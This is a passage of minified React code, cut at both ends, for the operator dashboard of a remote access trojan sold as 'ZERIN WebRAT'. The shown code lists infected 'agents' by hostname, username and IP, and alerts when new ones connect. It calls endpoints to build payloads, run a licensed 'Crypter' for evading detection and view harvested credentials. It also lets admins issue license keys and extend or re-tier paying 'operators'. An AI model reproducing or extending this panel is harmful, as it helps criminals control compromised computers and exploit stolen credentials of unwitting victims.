bi(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new bi(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new bi(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function f_(){return Ce("/api/admin/keys")}async function m_(e){return Ce("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function p_(e){return Ce(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function h_(){return Ce("/api/admin/operators")}async function x_(e,t){return Ce(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function v_(e,t){return Ce(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}async function g_(){return Ce("/api/credentials")}let bc=[];function y_(e){return bc.push(e),()=>{bc=bc.filter(t=>t!==e)}}function b_(){return HE()}function zi(){bc.forEach(e=>e())}function w_(){const e=st();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function gs(){const e=m.useSyncExternalStore(y_,b_),t=m.useCallback(()=>{zi()},[]),n=m.useCallback(()=>{il(),zi()},[]),r=e?w_():null;return{isAuthenticated:e,token:st(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class j_ extends m.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?a.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),a.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r + bg-zerin-accent hover:bg-zerin-accent-hover\r + px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function N_(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,s]=m.useState(!1),[o,l]=m.useState(null),c=m.useRef(null),u=m.useRef(0),d=m.useRef(),f=m.useRef(t);f.current=t;const p=m.useCallback(()=>{const x=st();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{s(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(s(!1),c.current=null,u.current{p()},w)}else il(),zi()},v.onerror=()=>{v.close()}},[n,r]),h=m.useCallback(()=>{u.current=0,p()},[p]);return m.useEffect(()=>(p(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[p]),{isConnected:i,lastMessage:o,reconnect:h}}const tm="zerin_notifications_enabled";function k_(){const[e,t]=m.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=m.useState(()=>localStorage.getItem(tm)==="true");m.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=m.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(tm,"true"))},[]),s=m.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(tm,String(c)),c})},[]),o=m.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:s,notify:o,isSupported:typeof Notification<"u"}}const nm="zerin-uwu-mode",qg=20,z_=3e3;function S_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),s=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.05,t+.04),s.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(s).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function C_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function P_(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function E_(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` + left:${Math.random()*100}vw; + top:${Math.random()*100}vh; + width:${i}px; + height:${i}px; + background:${t[n%t.length]}; + animation-delay:${Math.random()*.6}s; + `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Gg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Xg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function __(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(s){const f=Gg[Math.floor(Math.random()*Gg.length)];i.textContent=f,i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + font-size:${10+Math.random()*14}px; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.08}s; + `}else{const f=Xg[Math.floor(Math.random()*Xg.length)],p=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + width:${p}px;height:${h}px;background:${f}; + border-radius:${Math.random()>.5?"50%":"1px"}; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.06}s; + `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Zg=["❤️","💖","💗","💕","♥️","🌸"];let Qg=0;function A_(e,t){const n=Date.now();if(n-Qg<60)return;Qg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Zg[Math.floor(Math.random()*Zg.length)];const i=(Math.random()-.5)*24,s=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${s}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function Jg(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function ey(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const ty=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function O_(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=ty[Math.floor(Math.random()*ty.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function T_(){const[e,t]=m.useState(()=>{try{return localStorage.getItem(nm)==="true"}catch{return!1}}),n=m.useRef(0),r=m.useRef();m.useEffect(()=>{const s=document.documentElement.classList;return e?(s.add("femboy-theme"),Jg()):(s.remove("femboy-theme"),ey()),()=>{s.remove("femboy-theme"),ey()}},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{__(o.clientX,o.clientY)};return document.addEventListener("click",s,!0),()=>document.removeEventListener("click",s,!0)},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{A_(o.clientX,o.clientY)};return document.addEventListener("mousemove",s),()=>document.removeEventListener("mousemove",s)},[e]),m.useEffect(()=>{if(!e)return;const s=()=>{O_(),o=setTimeout(s,8e3+Math.random()*7e3)};let o=setTimeout(s,3e3);return()=>clearTimeout(o)},[e]);const i=m.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},z_),e){if(n.current>=qg){n.current=0,t(!1);try{localStorage.removeItem(nm)}catch{}C_()}return}if(n.current>=15&&P_(n.current-14),n.current>=qg){n.current=0,t(!0);try{localStorage.setItem(nm,"true")}catch{}S_(),E_(),Jg()}},[e]);return{isActive:e,handleStatusClick:i}}const ny=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function M_(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),s=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.08,t+.1),s.gain.setValueAtTime(.08,t+.8),s.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(s).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function L_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function I_(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` + position:absolute;left:0;right:0;height:2px; + top:${n*13}%; + background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); + box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; + opacity:0; + animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; + `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,s=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` + position:absolute;left:${s}%;top:${o}%; + width:${i}px;height:${i}px; + background:${u};border-radius:50%; + box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; + --synth-dx:${l}px;--synth-dy:${c}px; + animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; + `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let ry=0,rm=0;function D_(e,t){const n=Date.now();if(n-ry<40)return;ry=n,rm=(rm+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=rm<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function R_(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,s=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` + left:${s}vw;width:${i}px;height:${i}px; + clip-path:${o}; + border:1.5px solid ${r}; + box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; + background:${r}08; + `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function $_(){const[e,t]=m.useState(!1),n=m.useRef([]),r=m.useRef();return m.useEffect(()=>{function i(s){var u,d;const o=(u=s.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=s.target)!=null&&d.isContentEditable)return;const l=s.key.length===1?s.key.toLowerCase():s.key;n.current.push(l);const c=ny.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);ny.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?L_():(M_(),I_()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),m.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),m.useEffect(()=>{if(!e)return;const i=s=>D_(s.clientX,s.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),m.useEffect(()=>{if(!e)return;const i=()=>{R_(),s=setTimeout(i,5e3+Math.random()*5e3)};let s=setTimeout(i,2e3);return()=>clearTimeout(s)},[e]),{isActive:e}}const B_={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},F_={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},W_={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},U_={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},V_={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function hd({status:e,size:t="md",showLabel:n=!1}){return a.jsxs("span",{className:"inline-flex items-center gap-2",children:[a.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block rounded-full ${B_[t]} ${W_[e]}`})]}),n&&a.jsx("span",{className:`font-mono font-medium tracking-wider ${F_[t]} ${U_[e]}`,children:V_[e]})]})}function H_({open:e,onClose:t,agents:n}){const[r,i]=m.useState(""),[s,o]=m.useState(0),l=m.useRef(null),c=hr(),u=m.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(p=>p.hostname.toLowerCase().includes(f)||p.username.toLowerCase().includes(f)||p.internal_ip.includes(f)||p.external_ip.includes(f)||p.id.toLowerCase().includes(f)).slice(0,10).map(p=>({type:"agent",id:p.id,primary:p.hostname,secondary:`${p.username} — ${p.internal_ip}`,agent:p}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);m.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),m.useEffect(()=>{o(0)},[r]);const d=m.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return m.useEffect(()=>{if(!e)return;function f(p){if(p.key==="Escape"){t();return}p.key==="ArrowDown"&&(p.preventDefault(),o(h=>Math.min(h+1,u.length-1))),p.key==="ArrowUp"&&(p.preventDefault(),o(h=>Math.max(h-1,0))),p.key==="Enter"&&u[s]&&(p.preventDefault(),d(u[s]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,s,t,d]),e?a.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[a.jsx("div",{className:"absolute inset-0 bg-black/60"}),a.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),a.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),a.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?a.jsx("div",{className:"px-4 py-8 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):a.jsxs("div",{className:"py-1",children:[!r&&a.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,p)=>a.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(p),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${p===s?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&a.jsx(hd,{status:f.agent.status,size:"sm"}),a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("p",{className:`text-sm font-medium truncate ${p===s?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),a.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),a.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let ca={status:"idle",payloadName:"",startedAt:0,error:""};const Op=new Set;function xd(){Op.forEach(e=>e())}function E5(){return ca}function _5(e){return Op.add(e),()=>Op.delete(e)}function K_(e){ca={status:"building",payloadName:e,startedAt:Date.now(),error:""},xd()}function Y_(){ca={...ca,status:"success"},xd()}function iy(e){ca={...ca,status:"error",error:e},xd()}function ay(){ca={status:"idle",payloadName:"",startedAt:0,error:""},xd()}const vd=m.createContext({lastMessage:null}),q_=[{to:"/dashboard",label:"Dashboard",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})},{to:"/credentials",label:"Credentials",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 8a6 6 0 01-7.743 5.743L10 14l-1 1-1 1H6v2H2v-4l4.257-4.257A6 6 0 1118 8zm-6-4a1 1 0 100 2 2 2 0 012 2 1 1 0 102 0 4 4 0 00-4-4z",clipRule:"evenodd"})})}],G_={to:"/crypter",label:"Crypter",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},X_={to:"/admin",label:"Admin",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function Z_(){const e=m.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return a.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>a.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function Q_(){const{logout:e,isAdmin:t}=gs(),r=m.useSyncExternalStore(_5,E5).status==="building",s=w5()==="rat_crypter"||t,o=[...q_,...s?[G_]:[],...t?[X_]:[]],l=hr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:p,isSupported:h}=k_(),[x,g]=m.useState(!1),[y,v]=m.useState([]),{isActive:b,handleStatusClick:w}=T_(),{isActive:j}=$_(),[N,k]=m.useState(!1),z=m.useRef(""),S=m.useRef(null);m.useEffect(()=>{function D(V){var M,W;if(N||V.ctrlKey||V.metaKey||V.altKey)return;const R=(M=V.target)==null?void 0:M.tagName;R==="INPUT"||R==="TEXTAREA"||R==="SELECT"||(W=V.target)!=null&&W.isContentEditable||V.key.length===1&&(z.current+=V.key.toLowerCase(),z.current.length>20&&(z.current=z.current.slice(-10)),S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{z.current=""},3e3),z.current.includes("credits")&&(z.current="",k(!0)))}return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[N]),m.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const A=m.useCallback(async()=>{try{const D=await N5();v(D)}catch{}},[]);m.useEffect(()=>{A();const D=setInterval(A,15e3);return()=>clearInterval(D)},[A]);const _=m.useCallback(D=>{if(D.type==="agent_update"){const V=D.payload;v(R=>{const M=R.findIndex(W=>W.id===V.id);if(M>=0){const W=[...R];return W[M]=V,W}return p("New Agent Connected",`${V.hostname} (${V.internal_ip})`),[V,...R]})}if(D.type==="event"){const V=D.payload;(V.type==="task_completed"||V.type==="task_failed")&&p("Task Update",V.message)}},[p]),{isConnected:O,lastMessage:P}=N_({onMessage:_});return m.useEffect(()=>{function D(V){(V.metaKey||V.ctrlKey)&&V.key==="k"&&(V.preventDefault(),g(R=>!R))}return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[]),a.jsx(vd.Provider,{value:{lastMessage:P},children:a.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[a.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[a.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:a.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"femboy-ear femboy-ear-left"}),a.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),a.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),a.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),a.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-muted border border-zerin-panel-border\r + hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r + transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Search..."}),a.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),a.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:D,label:V,icon:R})=>a.jsx(FE,{to:D,end:D==="/dashboard",className:({isActive:M})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 + ${M?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text 